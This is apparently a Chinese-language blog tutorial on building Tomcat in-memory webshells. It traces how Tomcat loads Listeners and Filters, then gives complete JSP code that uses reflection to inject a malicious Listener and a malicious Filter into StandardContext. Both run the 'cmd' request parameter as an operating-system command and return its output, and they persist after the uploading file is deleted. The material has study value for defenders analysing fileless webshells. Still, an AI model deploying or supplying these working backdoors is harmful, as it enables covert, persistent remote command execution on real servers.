java安全学习--内存马学习(tomcat内存马)
1.内存马的原理及实现思路
- tomcat在处理传入的请求时会依次经过 Listener Filter Servlet 这三个组件且这三个组件都会被加载进内存中,所以如果我们把恶意代码伪装成这几个组件并被加载进内存就能达到隐藏木马的目的而且就算被发现了也有一定的清除难度。
- 那具体要怎么实现呢?我们的大致思路是上传一段能被触发的 jsp 或 java 代码,然后让这段代码去创建一个恶意的 Listener、Filter 或 Servlet 组件,然后将我们上传的代码删除由此就可以得到一个隐蔽的内存马了。
2.分析&实现
(1)Listener 内存马
如何加载恶意 Listener?
首先我们先建立一个简单的 Listener(监听器)用来观察 tomcat 是如何把监听器加入内存的,这里我们先新建一个项目,这里我是直接新建了一个 Jakarta EE 项目,如果没有的话普通的 maven 项目也是可以的

由于一会要分析 tomcat 加载监听器的过程所以这里要加一个依赖方便我们一会去分析代码
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>10.1.39</version> <!--版本为自己部署的tomcat的具体版本-->
</dependency>
在 maven 加载完了之后记得要去下载一下项目的源代码方便一会进行分析

然后新建一个 Test 类用来进行 Listener 的测试,代码如下,本次创建的是一个 ServletRequestListener 用于监听每一次单次请求,每一次请求的产生与销毁都会触发这个监听器
package org.example.insideshell1;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
public class Test implements ServletRequestListener {
//请求销毁时触发
@Override
public void requestDestroyed(ServletRequestEvent arg0) {
System.out.println("requestDestroyed");
}
//请求创建时触发
@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("requestInitialized");
}
}
接下来我们要去 web.xml 注册我们刚刚创建的监听器,如下
<listener>
<listener-class>org.example.insideshell1.Test</listener-class>
</listener>

接下来我们先试试刚刚创建的监听器是否有用,可以看到在我访问页面时确实进行了请求创建与销毁信息的输出说明我们的简单监听器成功实现了

然后我们就要看这个监听器是怎么加载的了,从刚刚的注册信息我们可以看出 tomcat 在加载时会去加载我们这个类所以一会在调试的时候可以看是哪个地方加载了我们的这个测试类,先在如图所示的地方打一个断点

通过调用链可以发现我们传入的请求是通过context.fireRequestInitEvent处理我们传入的请求的

继续向上看context.fireRequestInitEvent方法会发现在这个方法中是通过getApplicationEventListeners这个方法获得的实例转成ServletRequestListener类后用其中的requestInitialized方法去处理请求事件的

于是我们接着跟getApplicationEventListeners方法这个方法是把applicationEventListenersList中的所有元素转成一个Object类型的数组并返回,并没有在其中发现有我们想要的添加监听器的相关操作,但是我们也可以把我们的恶意类加到applicationEventListenersList的属性中去也可以实现我们的目的

于是接着去看这个applicationEventListenersList属性的定义,可以发现是CopyOnWriteArrayList类的一个实例,问ai得知这是专门解决多线程环境下读操作频繁、写操作稀少场景的并发安全问题,同时兼顾读操作的高性能的一个类,并得知其中有增删改查这几个方法,其中add这个方法是用来增加属性的。

于是去搜索applicationEventListenersList.add看是否有方法可以向其中加我们写的恶意类,发现了addApplicationEventListener这个方法可以向applicationEventListenersList中加我们写的恶意类

于是接下来就是要找一个方法去调用StandardContext#addApplicationEventListener把我们的恶意类加到applicationEventListenersList的属性中去就可以了,但是由于种种安全机制无法直接调用需要借助反射,所以我们就要拿到StandardContext这个类,通过翻译StandardContext类的文档我们可以知道这个类是Context这个接口的标准实现,于是我们接下来只要能拿Context这个类我们就可以强转成他的子类StandardContext后续就可以调用addApplicationEventListener方法

于是直接去看有哪些类用到了Context,由于有很多地方都用到了Context所以我们从简单的到难的去看,发现Request#getContext会直接返回这个类

于是我们接着去看怎么可以得到Request类,发现RequestFacade类中刚好就有这个类实例化的属性

而RequestFacade正是我们的请求对象的类型

具体的代码实现
于是通过反射我们就可以轻松的获取到StandardContext#addApplicationEventListener这个方法,代码如下,由于内存马一般写到 jsp 文件中所以下面的代码也是 jsp 页面的代码
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
//先获取RequestFacade类中的request属性并转换成Request类
Field reqf = request.getClass().getDeclaredField("request");
reqf.setAccessible(true);
Request req = (Request) reqf.get(request);
//然后获取其中的通过getContext()方法获取Context类并转为StandardContext类
StandardContext con = (StandardContext) req.getContext();
%>
接下来就是我们要写一个恶意的监听器类然后用上面获取的StandardContext类注入到内存去,写完之后的 jsp 页面的代码如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
//恶意类
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
//先获取请求对象
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
//检测对象中是否有 cmd 这个参数,我们执行的命令就是这个参数的值
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
//这里也用到了上面说的反射获取Request对象的方法,但这一次是为了把我们的命令执行的结果输出到请求中
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
//先获取RequestFacade类中的request属性并转换成Request类
Field reqf = request.getClass().getDeclaredField("request");
reqf.setAccessible(true);
Request req = (Request) reqf.get(request);
//然后获取其中的通过getContext()方法获取Context类并转为StandardContext类
StandardContext con = (StandardContext) req.getContext();
MyListener ld = new MyListener();
con.addApplicationEventListener(ld);
%>
先访问我们刚刚写的恶意 jsp 页面后就可以成功执行命令

可以看到就算我们把刚刚写的恶意页面删除了也依旧能执行命令


(2)Filter 内存马
如何加载恶意 Filter ?
首先也是和上面一样先实现一个简单的 Filter 用于后续的调试,代码和 web.xml 配置如下
package org.example.insideshell1;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpFilter;
import java.io.IOException;
public class Test extends HttpFilter {
//过滤器具体的执行逻辑
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("doFilter");
super.doFilter(servletRequest,servletResponse,filterChain);
}
}
<filter>
<filter-name>Test</filter-name>
<filter-class>org.example.insideshell1.Test</filter-class>
</filter>
<filter-mapping>
<filter-name>Test</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
这是一个 Http 的过滤器对所有/*路径都有效,部署成功会输出如图所示的信息

之后依旧是下断点进行调试,断点下在输出语句处

调试开始以后先找到最早调用doFilter这个方法的地方,可以发现是在StandardWrapperValve#invoke中调用了filterChain的doFilter方法

接着向上看发现filterChain是由ApplicationFilterFactory#createFilterChain进行创建的

继续跟到ApplicationFilterFactory#createFilterChain中进行查看,核心部分如图所示,由图我们也可以知道我们要创建一个恶意的Filter有两个步骤,首先要把恶意类的配置信息加到Context中,然后要建立跟配置信息相关的映射

于是先去看findFilterMaps方法,发现这个方法在StandardContext这个类中,而在上面关于 Listener 内存马的利用中我们是调用了这个类中的addApplicationEventListener这个方法,且在看代码的时候发现有很多方法都是find和add成对出现的,所以这里直接去搜有没有addFilter这类的方法,直接搜到了两个可以向FilterMaps中添加映射的方法如图

但是这里我们只知道要加一个FliterMap类但并不知道这个类里面要放什么东西,于是回到刚刚的ApplicationFilterFactory#createFilterChain中进行查看可以发现在其中用到FliterMap的地方有三处需要设置,而需要我们手动进行配置的只有名字和用于匹配的 URL 路径这两个地方

既然知道了FliterMap要怎么设置那就继续顺着向下看在ApplicationFilterFactory#createFilterChain中还用到了filterConfig这个东西,而且其中存放的就是 Filter 的数据,所以我们继续跟findFilterConfig这个方法,可以看到他返回的是StandardContext中的filterConfigs属性的某个值,可以看到这个属性是一个HashMap而刚刚通过键拿到的值是一个ApplicationFilterConfig类

直接去看ApplicationFilterConfig类的定义,在生成方法中发现这个类是通过FilterDef这个类去拿到的Filter类并通过Context接口进行实例化,现在我们知道了ApplicationFilterConfig是个什么东西了但现在产生了一个新的问题,StandardContext是什么时候生成了这个filterConfigs并与每一个 Filter 的FilterDef关联起来的呢?

于是接着去StandardContext中搜索filterConfigs关键字,于是我们在StandardContext#filterStart中找到了相关的操作,是通过遍历filterDefs这个属性并且如果他的键不为则生成一个FilterConfig并放到FilterConfigs中去

由上面的分析可知FilterDef中存放着 Filter 的具体信息,而filterDefs中又存放着所有可以被实例化的FilterDef所以我们只需要造一个恶意的FilterDef并放在filterDefs中后再建立一个映射就可以达到注入恶意 Filter 的目的,所以我们继续看怎么才能向filterDefs中插入FilterDef,通过关键字搜索找到了StandardContext#addFilterDef这个可以向filterDefs中插入FilterDef的方法

且通过这个方法我们也知道要给FilterDef赋值一个名字,但是现在还有一个问题,我们的恶意类还没有赋值到一个地方,但是调用链的这一环也没用看到调用我们自己的 Filter,于是继续向下翻调用链

发现在这个地方实例化了我们自己定义的 Filter,而且用的是FilterConfig中的getFilter方法

转到这个方法发现其实是实例化了FilterConfig中filterDef的filterClass属性,而这个属性正好可以用恶意类进行赋值,所以这里我们也确定了FilterDef中还要设定的另一个属性也找到了我们恶意类放的地方

具体的代码实现
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 恶意 Filter
public class ShellFilter implements Filter {
//实现逻辑与Listener基本上一样
@Override
public void doFilter(ServletRequest req, ServletResponse resp,
FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
resp.getWriter().println(line);
}
br.close();
} else {
chain.doFilter(req, resp);
}
}
}
%>
<%
//由于接下来要对StandardContext类进行操作所以我们要先拿到这个类
//先获取RequestFacade类中的request属性并转换成Request类
Field reqf = request.getClass().getDeclaredField("request");
reqf.setAccessible(true);
Request req = (Request) reqf.get(request);
//然后获取其中的通过getContext()方法获取Context类并转为StandardContext类
StandardContext con = (StandardContext) req.getContext();
ShellFilter shell = new ShellFilter();
//构造恶意的FilterDef类
FilterDef def = new FilterDef();
def.setFilterName("test-shell");
def.setFilter(shell);
def.setFilterClass(shell.getClass().getName());
//构建恶意FilterDef的映射
FilterMap fm = new FilterMap();
fm.addURLPattern("/*");
fm.setFilterName("test-shell");
//把创建的恶意类与映射注入到StandardContext中
con.addFilterDef(def);
con.addFilterMap(fm);
//filterStart()更新FilterDefs和FilterConfigs
con.filterStart();
%>
成功执行命令


浙公网安备 33010602011771号